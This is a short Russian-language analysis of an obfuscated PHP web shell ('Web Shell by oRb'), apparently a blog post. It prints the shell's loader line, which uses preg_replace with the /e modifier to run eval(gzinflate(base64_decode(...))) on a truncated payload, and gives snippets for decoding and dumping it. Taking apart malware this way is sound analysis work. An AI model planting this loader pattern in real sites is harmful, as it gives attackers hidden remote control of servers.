<?php # Web Shell by oRb $auth_pass = "63a9f0ea7bb98050796b649e85481845"; $color = "#df5"; $default_action = 'FilesMan'; $default_use_ajax = true; $default_charset = 'Windows-1251'; preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66 \x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F \x64\x65\x28'5b1pdx...Kn6fwE='\x29\x29\x29\x3B",".");?>
Чертовски гениально!) preg_replace ничего не заменяет, а просто выполняет роль eval(), выполняя весь код из второго аргумента!
pattern Искомый шаблон. Может быть как строкой, так и массивом строк.
Также доступны некоторые модификаторы PCRE, включая ‘e‘ (PREG_REPLACE_EVAL), специфичный только для этой функции.
Раскодировать символы вида “\x65” можно двумя способами:
$string1 = ''; $string2 = ''; $hex1 = '6576616C28677A696E'; $hex2 = "\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E"; for ($i=0; $i < strlen($hex1)-1; $i+=2){ $string1 .= chr(hexdec($hex1[$i].$hex1[$i+1])); } echo $string1; echo "\n\n"; $string2 = utf8_decode( $hex2 ); echo $string2; echo "\n\n";
В этом коде зашифрованы старые добрые:
eval(gzinflate(base64_decode()));
Чтобы раскодировать файл, достаточно вырезать строку между одинарными кавычками и вставить в конструкцию:
$text0 = "5b1pdxrHEjD82fe..."; $text = gzinflate( base64_decode( $text0 ) ); $fp = fopen('deobfuscated.txt', 'w'); fwrite($fp, $text); fclose($fp);